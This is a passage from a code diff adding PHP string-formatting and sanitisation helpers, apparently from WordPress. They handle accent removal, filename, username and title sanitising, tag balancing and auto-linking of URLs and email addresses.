+			$unicode_length++;
+		} else {
+			if ( count( $values ) == 0 ) $num_octets = ( $value < 224 ) ? 2 : 3;
+
+			$values[] = $value;
+
+			if ( $length && ( $unicode_length + ($num_octets * 3) ) > $length )
+				break;
+			if ( count( $values ) == $num_octets ) {
+				if ($num_octets == 3) {
+					$unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]) . '%' . dechex($values[2]);
+					$unicode_length += 9;
+				} else {
+					$unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]);
+					$unicode_length += 6;
+				}
+
+				$values = array();
+				$num_octets = 1;
+			}
+		}
+	}
+
+	return $unicode;
+}
+
+/**
+ * Converts all accent characters to ASCII characters.
+ *
+ * If there are no accent characters, then the string given is just returned.
+ *
+ * @since 1.2.1
+ *
+ * @param string $string Text that might have accent characters
+ * @return string Filtered string with replaced "nice" characters.
+ */
+function remove_accents($string) {
+	if ( !preg_match('/[\x80-\xff]/', $string) )
+		return $string;
+
+	if (seems_utf8($string)) {
+		$chars = array(
+		// Decompositions for Latin-1 Supplement
+		chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',
+		chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
+		chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',
+		chr(195).chr(135) => 'C', chr(195).chr(136) => 'E',
+		chr(195).chr(137) => 'E', chr(195).chr(138) => 'E',
+		chr(195).chr(139) => 'E', chr(195).chr(140) => 'I',
+		chr(195).chr(141) => 'I', chr(195).chr(142) => 'I',
+		chr(195).chr(143) => 'I', chr(195).chr(145) => 'N',
+		chr(195).chr(146) => 'O', chr(195).chr(147) => 'O',
+		chr(195).chr(148) => 'O', chr(195).chr(149) => 'O',
+		chr(195).chr(150) => 'O', chr(195).chr(153) => 'U',
+		chr(195).chr(154) => 'U', chr(195).chr(155) => 'U',
+		chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y',
+		chr(195).chr(159) => 's', chr(195).chr(160) => 'a',
+		chr(195).chr(161) => 'a', chr(195).chr(162) => 'a',
+		chr(195).chr(163) => 'a', chr(195).chr(164) => 'a',
+		chr(195).chr(165) => 'a', chr(195).chr(167) => 'c',
+		chr(195).chr(168) => 'e', chr(195).chr(169) => 'e',
+		chr(195).chr(170) => 'e', chr(195).chr(171) => 'e',
+		chr(195).chr(172) => 'i', chr(195).chr(173) => 'i',
+		chr(195).chr(174) => 'i', chr(195).chr(175) => 'i',
+		chr(195).chr(177) => 'n', chr(195).chr(178) => 'o',
+		chr(195).chr(179) => 'o', chr(195).chr(180) => 'o',
+		chr(195).chr(181) => 'o', chr(195).chr(182) => 'o',
+		chr(195).chr(182) => 'o', chr(195).chr(185) => 'u',
+		chr(195).chr(186) => 'u', chr(195).chr(187) => 'u',
+		chr(195).chr(188) => 'u', chr(195).chr(189) => 'y',
+		chr(195).chr(191) => 'y',
+		// Decompositions for Latin Extended-A
+		chr(196).chr(128) => 'A', chr(196).chr(129) => 'a',
+		chr(196).chr(130) => 'A', chr(196).chr(131) => 'a',
+		chr(196).chr(132) => 'A', chr(196).chr(133) => 'a',
+		chr(196).chr(134) => 'C', chr(196).chr(135) => 'c',
+		chr(196).chr(136) => 'C', chr(196).chr(137) => 'c',
+		chr(196).chr(138) => 'C', chr(196).chr(139) => 'c',
+		chr(196).chr(140) => 'C', chr(196).chr(141) => 'c',
+		chr(196).chr(142) => 'D', chr(196).chr(143) => 'd',
+		chr(196).chr(144) => 'D', chr(196).chr(145) => 'd',
+		chr(196).chr(146) => 'E', chr(196).chr(147) => 'e',
+		chr(196).chr(148) => 'E', chr(196).chr(149) => 'e',
+		chr(196).chr(150) => 'E', chr(196).chr(151) => 'e',
+		chr(196).chr(152) => 'E', chr(196).chr(153) => 'e',
+		chr(196).chr(154) => 'E', chr(196).chr(155) => 'e',
+		chr(196).chr(156) => 'G', chr(196).chr(157) => 'g',
+		chr(196).chr(158) => 'G', chr(196).chr(159) => 'g',
+		chr(196).chr(160) => 'G', chr(196).chr(161) => 'g',
+		chr(196).chr(162) => 'G', chr(196).chr(163) => 'g',
+		chr(196).chr(164) => 'H', chr(196).chr(165) => 'h',
+		chr(196).chr(166) => 'H', chr(196).chr(167) => 'h',
+		chr(196).chr(168) => 'I', chr(196).chr(169) => 'i',
+		chr(196).chr(170) => 'I', chr(196).chr(171) => 'i',
+		chr(196).chr(172) => 'I', chr(196).chr(173) => 'i',
+		chr(196).chr(174) => 'I', chr(196).chr(175) => 'i',
+		chr(196).chr(176) => 'I', chr(196).chr(177) => 'i',
+		chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij',
+		chr(196).chr(180) => 'J', chr(196).chr(181) => 'j',
+		chr(196).chr(182) => 'K', chr(196).chr(183) => 'k',
+		chr(196).chr(184) => 'k', chr(196).chr(185) => 'L',
+		chr(196).chr(186) => 'l', chr(196).chr(187) => 'L',
+		chr(196).chr(188) => 'l', chr(196).chr(189) => 'L',
+		chr(196).chr(190) => 'l', chr(196).chr(191) => 'L',
+		chr(197).chr(128) => 'l', chr(197).chr(129) => 'L',
+		chr(197).chr(130) => 'l', chr(197).chr(131) => 'N',
+		chr(197).chr(132) => 'n', chr(197).chr(133) => 'N',
+		chr(197).chr(134) => 'n', chr(197).chr(135) => 'N',
+		chr(197).chr(136) => 'n', chr(197).chr(137) => 'N',
+		chr(197).chr(138) => 'n', chr(197).chr(139) => 'N',
+		chr(197).chr(140) => 'O', chr(197).chr(141) => 'o',
+		chr(197).chr(142) => 'O', chr(197).chr(143) => 'o',
+		chr(197).chr(144) => 'O', chr(197).chr(145) => 'o',
+		chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe',
+		chr(197).chr(148) => 'R',chr(197).chr(149) => 'r',
+		chr(197).chr(150) => 'R',chr(197).chr(151) => 'r',
+		chr(197).chr(152) => 'R',chr(197).chr(153) => 'r',
+		chr(197).chr(154) => 'S',chr(197).chr(155) => 's',
+		chr(197).chr(156) => 'S',chr(197).chr(157) => 's',
+		chr(197).chr(158) => 'S',chr(197).chr(159) => 's',
+		chr(197).chr(160) => 'S', chr(197).chr(161) => 's',
+		chr(197).chr(162) => 'T', chr(197).chr(163) => 't',
+		chr(197).chr(164) => 'T', chr(197).chr(165) => 't',
+		chr(197).chr(166) => 'T', chr(197).chr(167) => 't',
+		chr(197).chr(168) => 'U', chr(197).chr(169) => 'u',
+		chr(197).chr(170) => 'U', chr(197).chr(171) => 'u',
+		chr(197).chr(172) => 'U', chr(197).chr(173) => 'u',
+		chr(197).chr(174) => 'U', chr(197).chr(175) => 'u',
+		chr(197).chr(176) => 'U', chr(197).chr(177) => 'u',
+		chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',
+		chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',
+		chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',
+		chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',
+		chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',
+		chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
+		chr(197).chr(190) => 'z', chr(197).chr(191) => 's',
+		// Euro Sign
+		chr(226).chr(130).chr(172) => 'E',
+		// GBP (Pound) Sign
+		chr(194).chr(163) => '');
+
+		$string = strtr($string, $chars);
+	} else {
+		// Assume ISO-8859-1 if not UTF-8
+		$chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158)
+			.chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
+			.chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
+			.chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
+			.chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
+			.chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
+			.chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
+			.chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
+			.chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
+			.chr(252).chr(253).chr(255);
+
+		$chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy";
+
+		$string = strtr($string, $chars['in'], $chars['out']);
+		$double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
+		$double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
+		$string = str_replace($double_chars['in'], $double_chars['out'], $string);
+	}
+
+	return $string;
+}
+
+/**
+ * Sanitizes a filename replacing whitespace with dashes
+ *
+ * Removes special characters that are illegal in filenames on certain
+ * operating systems and special characters requiring special escaping
+ * to manipulate at the command line. Replaces spaces and consecutive
+ * dashes with a single dash. Trim period, dash and underscore from beginning
+ * and end of filename.
+ *
+ * @since 2.1.0
+ *
+ * @param string $filename The filename to be sanitized
+ * @return string The sanitized filename
+ */
+function sanitize_file_name( $filename ) {
+	$filename_raw = $filename;
+	$special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}");
+	$special_chars = apply_filters('sanitize_file_name_chars', $special_chars, $filename_raw);
+	$filename = str_replace($special_chars, '', $filename);
+	$filename = preg_replace('/[\s-]+/', '-', $filename);
+	$filename = trim($filename, '.-_');
+	return apply_filters('sanitize_file_name', $filename, $filename_raw);
+}
+
+/**
+ * Sanitize username stripping out unsafe characters.
+ *
+ * If $strict is true, only alphanumeric characters (as well as _, space, ., -,
+ * @) are returned.
+ * Removes tags, octets, entities, and if strict is enabled, will remove all
+ * non-ASCII characters. After sanitizing, it passes the username, raw username
+ * (the username in the parameter), and the strict parameter as parameters for
+ * the filter.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'sanitize_user' hook on username, raw username,
+ *		and $strict parameter.
+ *
+ * @param string $username The username to be sanitized.
+ * @param bool $strict If set limits $username to specific characters. Default false.
+ * @return string The sanitized username, after passing through filters.
+ */
+function sanitize_user( $username, $strict = false ) {
+	$raw_username = $username;
+	$username = strip_tags($username);
+	// Kill octets
+	$username = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '', $username);
+	$username = preg_replace('/&.+?;/', '', $username); // Kill entities
+
+	// If strict, reduce to ASCII for max portability.
+	if ( $strict )
+		$username = preg_replace('|[^a-z0-9 _.\-@]|i', '', $username);
+
+	// Consolidate contiguous whitespace
+	$username = preg_replace('|\s+|', ' ', $username);
+
+	return apply_filters('sanitize_user', $username, $raw_username, $strict);
+}
+
+/**
+ * Sanitizes title or use fallback title.
+ *
+ * Specifically, HTML and PHP tags are stripped. Further actions can be added
+ * via the plugin API. If $title is empty and $fallback_title is set, the latter
+ * will be used.
+ *
+ * @since 1.0.0
+ *
+ * @param string $title The string to be sanitized.
+ * @param string $fallback_title Optional. A title to use if $title is empty.
+ * @return string The sanitized string.
+ */
+function sanitize_title($title, $fallback_title = '') {
+	$raw_title = $title;
+	$title = strip_tags($title);
+	$title = apply_filters('sanitize_title', $title, $raw_title);
+
+	if ( '' === $title || false === $title )
+		$title = $fallback_title;
+
+	return $title;
+}
+
+/**
+ * Sanitizes title, replacing whitespace with dashes.
+ *
+ * Limits the output to alphanumeric characters, underscore (_) and dash (-).
+ * Whitespace becomes a dash.
+ *
+ * @since 1.2.0
+ *
+ * @param string $title The title to be sanitized.
+ * @return string The sanitized title.
+ */
+function sanitize_title_with_dashes($title) {
+	$title = strip_tags($title);
+	// Preserve escaped octets.
+	$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);
+	// Remove percent signs that are not part of an octet.
+	$title = str_replace('%', '', $title);
+	// Restore octets.
+	$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);
+
+	$title = remove_accents($title);
+	if (seems_utf8($title)) {
+		if (function_exists('mb_strtolower')) {
+			$title = mb_strtolower($title, 'UTF-8');
+		}
+		$title = utf8_uri_encode($title, 200);
+	}
+
+	$title = strtolower($title);
+	$title = preg_replace('/&.+?;/', '', $title); // kill entities
+	$title = str_replace('.', '-', $title);
+	$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);
+	$title = preg_replace('/\s+/', '-', $title);
+	$title = preg_replace('|-+|', '-', $title);
+	$title = trim($title, '-');
+
+	return $title;
+}
+
+/**
+ * Ensures a string is a valid SQL order by clause.
+ *
+ * Accepts one or more columns, with or without ASC/DESC, and also accepts
+ * RAND().
+ *
+ * @since 2.5.1
+ *
+ * @param string $orderby Order by string to be checked.
+ * @return string|false Returns the order by clause if it is a match, false otherwise.
+ */
+function sanitize_sql_orderby( $orderby ){
+	preg_match('/^\s*([a-z0-9_]+(\s+(ASC|DESC))?(\s*,\s*|\s*$))+|^\s*RAND\(\s*\)\s*$/i', $orderby, $obmatches);
+	if ( !$obmatches )
+		return false;
+	return $orderby;
+}
+
+/**
+ * Santizes a html classname to ensure it only contains valid characters
+ *
+ * Strips the string down to A-Z,a-z,0-9,'-' if this results in an empty
+ * string then it will return the alternative value supplied.
+ *
+ * @todo Expand to support the full range of CDATA that a class attribute can contain.
+ *
+ * @since 2.8.0
+ *
+ * @param string $class The classname to be sanitized
+ * @param string $fallback The value to return if the sanitization end's up as an empty string.
+ * @return string The sanitized value
+ */
+function sanitize_html_class($class, $fallback){
+	//Strip out any % encoded octets
+	$sanitized = preg_replace('|%[a-fA-F0-9][a-fA-F0-9]|', '', $class);
+
+	//Limit to A-Z,a-z,0-9,'-'
+	$sanitized = preg_replace('/[^A-Za-z0-9-]/', '', $sanitized);
+
+	if ('' == $sanitized)
+		$sanitized = $fallback;
+
+	return apply_filters('sanitize_html_class',$sanitized, $class, $fallback);
+}
+
+/**
+ * Converts a number of characters from a string.
+ *
+ * Metadata tags <<title>> and <<category>> are removed, <<br>> and <<hr>> are
+ * converted into correct XHTML and Unicode characters are converted to the
+ * valid range.
+ *
+ * @since 0.71
+ *
+ * @param string $content String of characters to be converted.
+ * @param string $deprecated Not used.
+ * @return string Converted string.
+ */
+function convert_chars($content, $deprecated = '') {
+	// Translation of invalid Unicode references range to valid range
+	$wp_htmltranswinuni = array(
+	'&#128;' => '&#8364;', // the Euro sign
+	'&#129;' => '',
+	'&#130;' => '&#8218;', // these are Windows CP1252 specific characters
+	'&#131;' => '&#402;',  // they would look weird on non-Windows browsers
+	'&#132;' => '&#8222;',
+	'&#133;' => '&#8230;',
+	'&#134;' => '&#8224;',
+	'&#135;' => '&#8225;',
+	'&#136;' => '&#710;',
+	'&#137;' => '&#8240;',
+	'&#138;' => '&#352;',
+	'&#139;' => '&#8249;',
+	'&#140;' => '&#338;',
+	'&#141;' => '',
+	'&#142;' => '&#382;',
+	'&#143;' => '',
+	'&#144;' => '',
+	'&#145;' => '&#8216;',
+	'&#146;' => '&#8217;',
+	'&#147;' => '&#8220;',
+	'&#148;' => '&#8221;',
+	'&#149;' => '&#8226;',
+	'&#150;' => '&#8211;',
+	'&#151;' => '&#8212;',
+	'&#152;' => '&#732;',
+	'&#153;' => '&#8482;',
+	'&#154;' => '&#353;',
+	'&#155;' => '&#8250;',
+	'&#156;' => '&#339;',
+	'&#157;' => '',
+	'&#158;' => '',
+	'&#159;' => '&#376;'
+	);
+
+	// Remove metadata tags
+	$content = preg_replace('/<title>(.+?)<\/title>/','',$content);
+	$content = preg_replace('/<category>(.+?)<\/category>/','',$content);
+
+	// Converts lone & characters into &#38; (a.k.a. &amp;)
+	$content = preg_replace('/&([^#])(?![a-z1-4]{1,8};)/i', '&#038;$1', $content);
+
+	// Fix Word pasting
+	$content = strtr($content, $wp_htmltranswinuni);
+
+	// Just a little XHTML help
+	$content = str_replace('<br>', '<br />', $content);
+	$content = str_replace('<hr>', '<hr />', $content);
+
+	return $content;
+}
+
+/**
+ * Callback used to change %uXXXX to &#YYY; syntax
+ *
+ * @since 2.8?
+ *
+ * @param array $matches Single Match
+ * @return string An HTML entity
+ */
+function funky_javascript_callback($matches) {
+	return "&#".base_convert($matches[1],16,10).";";
+}
+
+/**
+ * Fixes javascript bugs in browsers.
+ *
+ * Converts unicode characters to HTML numbered entities.
+ *
+ * @since 1.5.0
+ * @uses $is_macIE
+ * @uses $is_winIE
+ *
+ * @param string $text Text to be made safe.
+ * @return string Fixed text.
+ */
+function funky_javascript_fix($text) {
+	// Fixes for browsers' javascript bugs
+	global $is_macIE, $is_winIE;
+
+	if ( $is_winIE || $is_macIE )
+		$text =  preg_replace_callback("/\%u([0-9A-F]{4,4})/",
+					       "funky_javascript_callback",
+					       $text);
+
+	return $text;
+}
+
+/**
+ * Will only balance the tags if forced to and the option is set to balance tags.
+ *
+ * The option 'use_balanceTags' is used for whether the tags will be balanced.
+ * Both the $force parameter and 'use_balanceTags' option will have to be true
+ * before the tags will be balanced.
+ *
+ * @since 0.71
+ *
+ * @param string $text Text to be balanced
+ * @param bool $force Forces balancing, ignoring the value of the option. Default false.
+ * @return string Balanced text
+ */
+function balanceTags( $text, $force = false ) {
+	if ( !$force && get_option('use_balanceTags') == 0 )
+		return $text;
+	return force_balance_tags( $text );
+}
+
+/**
+ * Balances tags of string using a modified stack.
+ *
+ * @since 2.0.4
+ *
+ * @author Leonard Lin <leonard@acm.org>
+ * @license GPL v2.0
+ * @copyright November 4, 2001
+ * @version 1.1
+ * @todo Make better - change loop condition to $text in 1.2
+ * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004
+ *		1.1  Fixed handling of append/stack pop order of end text
+ *			 Added Cleaning Hooks
+ *		1.0  First Version
+ *
+ * @param string $text Text to be balanced.
+ * @return string Balanced text.
+ */
+function force_balance_tags( $text ) {
+	$tagstack = array(); $stacksize = 0; $tagqueue = ''; $newtext = '';
+	$single_tags = array('br', 'hr', 'img', 'input'); //Known single-entity/self-closing tags
+	$nestable_tags = array('blockquote', 'div', 'span'); //Tags that can be immediately nested within themselves
+
+	# WP bug fix for comments - in case you REALLY meant to type '< !--'
+	$text = str_replace('< !--', '<    !--', $text);
+	# WP bug fix for LOVE <3 (and other situations with '<' before a number)
+	$text = preg_replace('#<([0-9]{1})#', '&lt;$1', $text);
+
+	while (preg_match("/<(\/?\w*)\s*([^>]*)>/",$text,$regex)) {
+		$newtext .= $tagqueue;
+
+		$i = strpos($text,$regex[0]);
+		$l = strlen($regex[0]);
+
+		// clear the shifter
+		$tagqueue = '';
+		// Pop or Push
+		if ( isset($regex[1][0]) && '/' == $regex[1][0] ) { // End Tag
+			$tag = strtolower(substr($regex[1],1));
+			// if too many closing tags
+			if($stacksize <= 0) {
+				$tag = '';
+				//or close to be safe $tag = '/' . $tag;
+			}
+			// if stacktop value = tag close value then pop
+			else if ($tagstack[$stacksize - 1] == $tag) { // found closing tag
+				$tag = '</' . $tag . '>'; // Close Tag
+				// Pop
+				array_pop ($tagstack);
+				$stacksize--;
+			} else { // closing tag not at top, search for it
+				for ($j=$stacksize-1;$j>=0;$j--) {
+					if ($tagstack[$j] == $tag) {
+					// add tag to tagqueue
+						for ($k=$stacksize-1;$k>=$j;$k--){
+							$tagqueue .= '</' . array_pop ($tagstack) . '>';
+							$stacksize--;
+						}
+						break;
+					}
+				}
+				$tag = '';
+			}
+		} else { // Begin Tag
+			$tag = strtolower($regex[1]);
+
+			// Tag Cleaning
+
+			// If self-closing or '', don't do anything.
+			if((substr($regex[2],-1) == '/') || ($tag == '')) {
+			}
+			// ElseIf it's a known single-entity tag but it doesn't close itself, do so
+			elseif ( in_array($tag, $single_tags) ) {
+				$regex[2] .= '/';
+			} else {	// Push the tag onto the stack
+				// If the top of the stack is the same as the tag we want to push, close previous tag
+				if (($stacksize > 0) && !in_array($tag, $nestable_tags) && ($tagstack[$stacksize - 1] == $tag)) {
+					$tagqueue = '</' . array_pop ($tagstack) . '>';
+					$stacksize--;
+				}
+				$stacksize = array_push ($tagstack, $tag);
+			}
+
+			// Attributes
+			$attributes = $regex[2];
+			if($attributes) {
+				$attributes = ' '.$attributes;
+			}
+			$tag = '<'.$tag.$attributes.'>';
+			//If already queuing a close tag, then put this tag on, too
+			if ($tagqueue) {
+				$tagqueue .= $tag;
+				$tag = '';
+			}
+		}
+		$newtext .= substr($text,0,$i) . $tag;
+		$text = substr($text,$i+$l);
+	}
+
+	// Clear Tag Queue
+	$newtext .= $tagqueue;
+
+	// Add Remaining text
+	$newtext .= $text;
+
+	// Empty Stack
+	while($x = array_pop($tagstack)) {
+		$newtext .= '</' . $x . '>'; // Add remaining tags to close
+	}
+
+	// WP fix for the bug with HTML comments
+	$newtext = str_replace("< !--","<!--",$newtext);
+	$newtext = str_replace("<    !--","< !--",$newtext);
+
+	return $newtext;
+}
+
+/**
+ * Acts on text which is about to be edited.
+ *
+ * Unless $richedit is set, it is simply a holder for the 'format_to_edit'
+ * filter. If $richedit is set true htmlspecialchars() will be run on the
+ * content, converting special characters to HTMl entities.
+ *
+ * @since 0.71
+ *
+ * @param string $content The text about to be edited.
+ * @param bool $richedit Whether or not the $content should pass through htmlspecialchars(). Default false.
+ * @return string The text after the filter (and possibly htmlspecialchars()) has been run.
+ */
+function format_to_edit($content, $richedit = false) {
+	$content = apply_filters('format_to_edit', $content);
+	if (! $richedit )
+		$content = htmlspecialchars($content);
+	return $content;
+}
+
+/**
+ * Holder for the 'format_to_post' filter.
+ *
+ * @since 0.71
+ *
+ * @param string $content The text to pass through the filter.
+ * @return string Text returned from the 'format_to_post' filter.
+ */
+function format_to_post($content) {
+	$content = apply_filters('format_to_post', $content);
+	return $content;
+}
+
+/**
+ * Add leading zeros when necessary.
+ *
+ * If you set the threshold to '4' and the number is '10', then you will get
+ * back '0010'. If you set the number to '4' and the number is '5000', then you
+ * will get back '5000'.
+ *
+ * Uses sprintf to append the amount of zeros based on the $threshold parameter
+ * and the size of the number. If the number is large enough, then no zeros will
+ * be appended.
+ *
+ * @since 0.71
+ *
+ * @param mixed $number Number to append zeros to if not greater than threshold.
+ * @param int $threshold Digit places number needs to be to not have zeros added.
+ * @return string Adds leading zeros to number if needed.
+ */
+function zeroise($number, $threshold) {
+	return sprintf('%0'.$threshold.'s', $number);
+}
+
+/**
+ * Adds backslashes before letters and before a number at the start of a string.
+ *
+ * @since 0.71
+ *
+ * @param string $string Value to which backslashes will be added.
+ * @return string String with backslashes inserted.
+ */
+function backslashit($string) {
+	$string = preg_replace('/^([0-9])/', '\\\\\\\\\1', $string);
+	$string = preg_replace('/([a-z])/i', '\\\\\1', $string);
+	return $string;
+}
+
+/**
+ * Appends a trailing slash.
+ *
+ * Will remove trailing slash if it exists already before adding a trailing
+ * slash. This prevents double slashing a string or path.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 1.2.0
+ * @uses untrailingslashit() Unslashes string if it was slashed already.
+ *
+ * @param string $string What to add the trailing slash to.
+ * @return string String with trailing slash added.
+ */
+function trailingslashit($string) {
+	return untrailingslashit($string) . '/';
+}
+
+/**
+ * Removes trailing slash if it exists.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 2.2.0
+ *
+ * @param string $string What to remove the trailing slash from.
+ * @return string String without the trailing slash.
+ */
+function untrailingslashit($string) {
+	return rtrim($string, '/');
+}
+
+/**
+ * Adds slashes to escape strings.
+ *
+ * Slashes will first be removed if magic_quotes_gpc is set, see {@link
+ * http://www.php.net/magic_quotes} for more details.
+ *
+ * @since 0.71
+ *
+ * @param string $gpc The string returned from HTTP request data.
+ * @return string Returns a string escaped with slashes.
+ */
+function addslashes_gpc($gpc) {
+	global $wpdb;
+
+	if (get_magic_quotes_gpc()) {
+		$gpc = stripslashes($gpc);
+	}
+
+	return $wpdb->escape($gpc);
+}
+
+/**
+ * Navigates through an array and removes slashes from the values.
+ *
+ * If an array is passed, the array_map() function causes a callback to pass the
+ * value back to the function. The slashes from this value will removed.
+ *
+ * @since 2.0.0
+ *
+ * @param array|string $value The array or string to be striped.
+ * @return array|string Stripped array (or string in the callback).
+ */
+function stripslashes_deep($value) {
+	$value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
+	return $value;
+}
+
+/**
+ * Navigates through an array and encodes the values to be used in a URL.
+ *
+ * Uses a callback to pass the value of the array back to the function as a
+ * string.
+ *
+ * @since 2.2.0
+ *
+ * @param array|string $value The array or string to be encoded.
+ * @return array|string $value The encoded array (or string from the callback).
+ */
+function urlencode_deep($value) {
+	$value = is_array($value) ? array_map('urlencode_deep', $value) : urlencode($value);
+	return $value;
+}
+
+/**
+ * Converts email addresses characters to HTML entities to block spam bots.
+ *
+ * @since 0.71
+ *
+ * @param string $emailaddy Email address.
+ * @param int $mailto Optional. Range from 0 to 1. Used for encoding.
+ * @return string Converted email address.
+ */
+function antispambot($emailaddy, $mailto=0) {
+	$emailNOSPAMaddy = '';
+	srand ((float) microtime() * 1000000);
+	for ($i = 0; $i < strlen($emailaddy); $i = $i + 1) {
+		$j = floor(rand(0, 1+$mailto));
+		if ($j==0) {
+			$emailNOSPAMaddy .= '&#'.ord(substr($emailaddy,$i,1)).';';
+		} elseif ($j==1) {
+			$emailNOSPAMaddy .= substr($emailaddy,$i,1);
+		} elseif ($j==2) {
+			$emailNOSPAMaddy .= '%'.zeroise(dechex(ord(substr($emailaddy, $i, 1))), 2);
+		}
+	}
+	$emailNOSPAMaddy = str_replace('@','&#64;',$emailNOSPAMaddy);
+	return $emailNOSPAMaddy;
+}
+
+/**
+ * Callback to convert URI match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with URI address.
+ */
+function _make_url_clickable_cb($matches) {
+	$url = $matches[2];
+	$url = esc_url($url);
+	if ( empty($url) )
+		return $matches[0];
+	return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>";
+}
+
+/**
+ * Callback to convert URL match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with URL address.
+ */
+function _make_web_ftp_clickable_cb($matches) {
+	$ret = '';
+	$dest = $matches[2];
+	$dest = 'http://' . $dest;
+	$dest = esc_url($dest);
+	if ( empty($dest) )
+		return $matches[0];
+	// removed trailing [,;:] from URL
+	if ( in_array(substr($dest, -1), array('.', ',', ';', ':')) === true ) {
+		$ret = substr($dest, -1);
+		$dest = substr($dest, 0, strlen($dest)-1);
+	}
+	return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>" . $ret;
+}
+
+/**
+ * Callback to convert email address match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with email address.
+ */
+function _make_email_clickable_cb($matches) {
+	$email = $matches[2] . '@' . $matches[3];
+	return $matches[1] . "<a href=\"mailto:$email\">$email</a>";
+}
+
+/**
+ * Convert plaintext URI to HTML links.
+ *
+ * Converts URI, www and ftp, and email addresses. Finishes by fixing links
+ * within links.
+ *
+ * @since 0.71
+ *
+ * @param string $ret Content to convert URIs.
+ * @return string Content with converted URIs.
+ */
+function make_clickable($ret) {
+	$ret = ' ' . $ret;
+	// in testing, using arrays here was found to be faster
+	$ret = preg_replace_callback('#(?<=[\s>])(\()?([\w]+?://(?:[\w\\x80-\\xff\#$%&~/\-=?@\[\](+]|[.,;:](?![\s<])|(?(1)\)(?![\s<])|\)))+)#is', '_make_url_clickable_cb', $ret);
+	$ret = preg_replace_callback('#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_make_web_ftp_clickable_cb', $ret);
+	$ret = preg_replace_callback('#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret);
+	// this one is not in an array because we need it to run last, for cleanup of accidental links within links
+	$ret = preg_replace("#(<a( [^>]+?>|>))<a [^>]+?>([^>]+?)</a></a>#i", "$1$3</a>", $ret);
+	$ret = trim($ret);
+	return $ret;
+}
+
+/**
+ * Adds rel nofollow string to all HTML A elements in content.
+ *
+ * @since 1.5.0
+ *
+ * @param string $text Content that may contain HTML A elements.
+ * @return string Converted content.
+ */
+function wp_rel_nofollow( $text ) {
+	global $wpdb;
+	// This is a pre save filter, so text is already escaped.
+	$text = stripslashes($text);
+	$text = preg_replace_callback('|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text);
+	$text = $wpdb->escape($text);
+	return $text;
+}
+
+/**
+ * Callback to used to add rel=nofollow string to HTML A element.
+ *
+ * Will remove already existing rel="nofollow" and rel='nofollow' from the
+ * string to prevent from invalidating (X)HTML.
+ *
+ * @since 2.3.0
+ *
+ * @param array $matches Single Match
+ * @return string HTML A Element with rel nofollow.
+ */
+function wp_rel_nofollow_callback( $matches ) {
+	$text = $matches[1];
+	$text = str_replace(array(' rel="nofollow"', " rel='nofollow'"), '', $text);
+	return "<a $text rel=\"nofollow\">";
+}
+
+
+/**
+ * Convert one smiley code to the icon graphic file equivalent.
+ *
+ * Looks up one smiley code in the $wpsmiliestrans global array and returns an
+ * <img> string for that smiley.
+ *
+ * @global array $wpsmiliestrans
+ * @since 2.8.0
+ *
+ * @param string $smiley Smiley code to convert to image.
+ * @return string Image string for smiley.
+ */
+function translate_smiley($smiley) {
+	global $wpsmiliestrans;
+
+	if (count($smiley) == 0) {
